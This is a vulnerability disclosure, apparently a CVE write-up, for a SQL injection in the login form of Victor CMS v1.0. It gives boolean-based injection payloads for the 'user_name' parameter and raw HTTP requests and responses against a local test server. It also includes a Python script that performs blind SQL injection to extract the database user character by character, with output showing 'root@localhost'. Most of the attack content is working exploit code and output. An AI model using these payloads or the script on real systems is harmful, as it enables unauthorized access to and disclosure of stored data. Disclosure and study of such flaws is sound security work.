

main

...

CVE / VictorCMS SQL.md



JiuBanSec Create VictorCMS SQL.md

History

1 contributor

22 lines (15 sloc) | 1.13 KB

...

- VULNERABLE: SQL injection vulnerability exists in VictorCMS . An attacker can inject query in "/CMSsite/includes/login.php" via the "user_name" parameters.
- Product: Victor CMS v1.0
- Impact: Allow attacker inject query and access , disclosure of all data on the system.
- Payload Boolean true: test' or '1'='1
- Payload Boolean false: test' or '1'='2
- Payload exploit example: test' or (ascii(substr((select(database())),1,1))<127)--+-
- Proof of concept (POC):

First Post-Introduction to Content Management Systems

by Victor

Posted on 2017-03-23



Search

Login

Enter Username

Enter Password

Categories

- News
- Technology
- Tutorials
- Business
- Education

Side Widget Well

- You see Whether the user name is correct or not, the response status of the returned package is different
- Payload Boolean true: `user_name=test'+or+'1'='1`

Send Cancel < > Follow redirection Target: http://127.0.0.1 HTTP/1

Request

```

1 POST /CMSsite/includes/login.php HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 51
9 Origin: http://127.0.0.1
10 Connection: close
11 Referer: http://127.0.0.1/CMSsite/post.php?post=1
12 Cookie: PHPSESSID=2cr3ou7a96me8tajtg7ha5im0
13 Upgrade-Insecure-Requests: 1
14 Sec-Fetch-Dest: document
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-Site: same-origin
17 Sec-Fetch-User: ?1
18
19 user_name=test'+or+'1'='1;user_password=test&login=
  
```

Response

```

1 HTTP/1.1 302 Found
2 Date: Wed, 23 Mar 2022 14:09:32 GMT
3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.38
4 X-Powered-By: PHP/5.5.38
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
7 Pragma: no-cache
8 Location: ../index.php
9 Content-Length: 114
10 Connection: close
11 Content-Type: text/html
12
13 <!-- @author 'Victor Alagwu';
14 // @project 'Simple Content Management System';
15 // @date 'October 2016'; -->
16
  
```

- Payload Boolean false: `user_name=test'+or+'1'='2`

Send

Cancel

<

>

Target: http://127.0.0.1 HTTP/1

Request

Pretty

Raw

Hex

↵

⋮

```

1 POST /CMSsite/includes/login.php HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
  Gecko/20100101 Firefox/98.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
  ebp,*/*;q=0.8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 51
9 Origin: http://127.0.0.1
10 Connection: close
11 Referer: http://127.0.0.1/CMSsite/post.php?post=1
12 Cookie: PHPSESSID=2cr3ou7a96me8tajtqg7ha5im0
13 Upgrade-Insecure-Requests: 1
14 Sec-Fetch-Dest: document
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-Site: same-origin
17 Sec-Fetch-User: ?1
18
19 user_name=test'+or+'1'='2'&user_password=test&login=

```

Response

Pretty

Raw

Hex

Render

↵

⋮

Select extension... ▼

```

1 HTTP/1.1 200 OK
2 Date: Wed, 23 Mar 2022 14:12:51 GMT
3 Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.38
4 X-Powered-By: PHP/5.5.38
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
  pre-check=0
7 Pragma: no-cache
8 Content-Length: 114
9 Connection: close
10 Content-Type: text/html
11
12 <!-- @author 'Victor Alagwu';
13 // @project 'Simple Content Management System';
14 // @date 'October 2016'; -->
15

```

- Exploit:

```

python > sql注入 > sql.py > getDatabase
1 import requests
2 host = "http://127.0.0.1/CMSsite/includes/login.php"
3 def getDatabase():
4     global host
5     ans=""
6     for i in range(1,1000):
7         low = 32
8         high = 128
9         mid = (low+high)//2
10        while low < high:
11            payload= "2' or (ascii(substr((select(user())),%d,1))<%d)-- -" % (i,mid)
12            param ={"user_name":payload,"user_password":"test","login":""}
13            res = requests.post(host,data=param,allow_redirects=False)
14            if res.status_code==302:
15                high = mid
16            else:
17                low = mid+1
18            mid=(low+high)//2
19            if mid <= 32 or mid >= 127:
20                break
21            ans += chr(mid-1)
22            print("database is -> "+ans)
23        getDatabase()

```

问题 输出 终端 调试控制台

```

database is -> v
database is -> vc
database is -> vcms
database is -> vcms
PS D:\InternetTools\python\sql注入> & D:/software/python3.8/python.exe d:/InternetTools/python/sql注入/sql.py
database is -> r
database is -> ro
database is -> roo
database is -> root@local
database is -> root@localh
database is -> root@localho
database is -> root@localhos
database is -> root@localhost

```